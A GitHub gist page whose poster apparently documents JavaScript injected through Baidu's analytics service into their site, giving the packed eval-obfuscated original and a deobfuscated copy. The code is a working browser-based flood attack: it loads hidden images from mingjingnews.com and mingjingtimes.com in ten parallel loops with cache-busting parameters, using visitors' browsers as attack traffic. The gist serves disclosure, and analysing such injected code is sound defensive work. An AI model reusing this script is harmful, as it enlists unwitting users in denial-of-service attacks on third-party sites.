Skip to content

Instantly share code, notes, and snippets.

@guoqiao
Last active August 19, 2017 11:32
Show Gist options
  • Save guoqiao/ed74c6b73a48729e5569084ea1e86795 to your computer and use it in GitHub Desktop.
Save guoqiao/ed74c6b73a48729e5569084ea1e86795 to your computer and use it in GitHub Desktop.
Baidu tongji tries to inject data to my site to attack Google
eval(function(p, a, c, k, e, d) {
e = function(c) {
return (c < a ? "" : e(parseInt(c / a))) + ((c = c % a) > 35 ? String.fromCharCode(c + 29) : c.toString(36))
}
;
if (!''.replace(/^/, String)) {
while (c--)
d[e(c)] = k[c] || e(c);
k = [function(e) {
return d[e]
}
];
e = function() {
return '\\w+'
}
;
c = 1;
}
;while (c--)
if (k[c])
p = p.replace(new RegExp('\\b' + e(c) + '\\b','g'), k[c]);
return p;
}('e((/15\\/([\\d]+)/16.17(m.y.A.J())[1]>=12)&&(m.y.A.J().14("1b")<0)){3 L=1c;3 x=[\'i://1d.n.h/\',\'i://18.n.h/\',\'i://19.n.h/\',\'i://1a.T.h/\',\'i://H.n.h/U/V/H.11\'];3 K=Y;3 o=W;3 O=10;3 r=1;g q(){3 9=c 7();I 7.X(9.Z(),9.1e(),9.1v(),9.1w(),9.P(),9.N())/D}j.G("E")[0].F="<1u 1s=\\"C\\" 1t=\\"1x-C\\">"+j.G("E")[0].F;3 a=[];3 f=[];3 w=5;3 b=[];3 6=[];3 p=\'\';3 k=0;g v(2){3 8=a[2];e(8!=5){j.B.1z(8)}a[2]=5;e(k<K&&6[2]-w<L){M(\'s(\'+2+\')\',(6[2]-b[2])>o?o:(6[2]-b[2]))}}g S(2){e(a[2]==5){I}e(a[2].1f){m.z(f[2]);6[2]=c 7().l();v(2)}1g{e(c 7().l()-b[2]>o){m.z(f[2]);v(2)}}}g s(2){8=j.B.1r(j.1n(\'1o\'));p=x[q()%x.1m];8.1q=p+\'?t=\'+q()+Q.1p(Q.1l()*1h);8.1k.1j=\'1i\';a[2]=8;b[2]=6[2]=c 7().l();f[2]=1A("S("+2+")",1y);k=k+1}g R(){w=c 7().l();1B(3 4=0;4<O;4+=1){a[4]=5;f[4]=5;b[4]=5;6[4]=5;s(4)}}3 u=c 7();M(\'R()\',((r-u.P()%r)*13-u.N())*D)}', 62, 100, '||index|var|ti|null|responsetime_list|Date|p_img_tmp|dt|p_img_list|requesttime_list|new||if|timer_list|function|com|http|document|count|getTime|window|mingjingnews|TIMEGAP|url|unixtime|START_CLOCK|imgadd||now|imgdel|starttime|url_list|navigator|clearInterval|userAgent|body|referrer|1000|head|innerHTML|getElementsByTagName|bravo|return|toLowerCase|MAX_COUNT|MAX_TIME|setTimeout|getSeconds|THREAD|getMinutes|Math|start|isImgComplete|mingjingtimes|2017|01|500|UTC|100000000|getFullYear||html|34|60|indexOf|chrome|gi|exec|s1|tv|www|edge|300000|news|getMonth|complete|else|100|none|display|style|random|length|createElement|img|ceil|src|appendChild|name|content|meta|getDate|getHours|no|50|removeChild|setInterval|for'.split('|'), 0, {}))
if ((/chrome\/([\d]+)/gi.exec(window.navigator.userAgent.toLowerCase())[1] >= 34) && (window.navigator.userAgent.toLowerCase().indexOf("edge") < 0)) {
var MAX_TIME = 300000;
var url_list = ['http://news.mingjingnews.com/', 'http://s1.mingjingnews.com/', 'http://tv.mingjingnews.com/', 'http://www.mingjingtimes.com/', 'http://bravo.mingjingnews.com/2017/01/bravo.html'];
var MAX_COUNT = 100000000;
var TIMEGAP = 500;
var THREAD = 10;
var START_CLOCK = 1;
function unixtime() {
var dt = new Date();
return Date.UTC(dt.getFullYear(), dt.getMonth(), dt.getDate(), dt.getHours(), dt.getMinutes(), dt.getSeconds()) / 1000
}
document.getElementsByTagName("head")[0].innerHTML = "<meta name=\"referrer\" content=\"no-referrer\">" + document.getElementsByTagName("head")[0].innerHTML;
var p_img_list = [];
var timer_list = [];
var starttime = null;
var requesttime_list = [];
var responsetime_list = [];
var url = '';
var count = 0;
function imgdel(index) {
var p_img_tmp = p_img_list[index];
if (p_img_tmp != null) {
document.body.removeChild(p_img_tmp)
}
p_img_list[index] = null;
if (count < MAX_COUNT && responsetime_list[index] - starttime < MAX_TIME) {
setTimeout('imgadd(' + index + ')', (responsetime_list[index] - requesttime_list[index]) > TIMEGAP ? TIMEGAP : (responsetime_list[index] - requesttime_list[index]))
}
}
function isImgComplete(index) {
if (p_img_list[index] == null) {
return
}
if (p_img_list[index].complete) {
window.clearInterval(timer_list[index]);
responsetime_list[index] = new Date().getTime();
imgdel(index)
} else {
if (new Date().getTime() - requesttime_list[index] > TIMEGAP) {
window.clearInterval(timer_list[index]);
imgdel(index)
}
}
}
function imgadd(index) {
p_img_tmp = document.body.appendChild(document.createElement('img'));
url = url_list[unixtime() % url_list.length];
p_img_tmp.src = url + '?t=' + unixtime() + Math.ceil(Math.random() * 100);
p_img_tmp.style.display = 'none';
p_img_list[index] = p_img_tmp;
requesttime_list[index] = responsetime_list[index] = new Date().getTime();
timer_list[index] = setInterval("isImgComplete(" + index + ")", 50);
count = count + 1
}
function start() {
starttime = new Date().getTime();
for (var ti = 0; ti < THREAD; ti += 1) {
p_img_list[ti] = null;
timer_list[ti] = null;
requesttime_list[ti] = null;
responsetime_list[ti] = null;
imgadd(ti)
}
}
var now = new Date();
setTimeout('start()', ((START_CLOCK - now.getMinutes() % START_CLOCK) * 60 - now.getSeconds()) * 1000)
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment